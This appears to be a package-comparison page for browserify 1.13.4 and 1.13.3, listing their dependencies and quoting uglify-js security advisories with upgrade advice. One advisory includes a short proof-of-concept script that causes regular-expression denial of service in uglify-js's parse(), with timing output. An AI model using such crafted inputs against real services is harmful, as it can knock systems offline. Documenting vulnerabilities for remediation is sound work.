Browserify is a powerful tool for developers who want to use Node.js-style modules in the browser. It lets you write modular JavaScript code that can be easily organized and reused, bringing the convenience of require() to the client-side. Examining versions 1.13.4 and 1.13.3 reveals minimal differences, emphasizing the stability of the package during that time. Both versions offer the core functionality of Browserify, including browser-side require() for JavaScript directories and npm modules, effectively bundling your server-side Node.js code for browser execution.
Key dependencies like nub, deputy, resolve, optimist, commondir, detective, coffee-script, vm-browserify, http-browserify, and crypto-browserify remain consistent, indicating no significant changes in how Browserify handles module resolution, dependency management, or core functionality. The devDependencies, important for testing and development, such as seq, tap, jade, lazy, dnode, mkdirp, connect, hashish, backbone, ecstatic, traverse, and jquery-browserify, are also identical, implying no alterations in the development or testing environment.
Choosing between these minor versions is unlikely to impact most users. Developers can confidently use either version knowing the core promises of Browserify are upheld. The release date difference of a few days suggests potential bug fixes or minor optimization. Checking the commit logs between these versions might unveil micro enhancements, however from a high level prespective both versions offer the same functionalities and benefits.
All the vulnerabilities related to the version 1.13.4 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.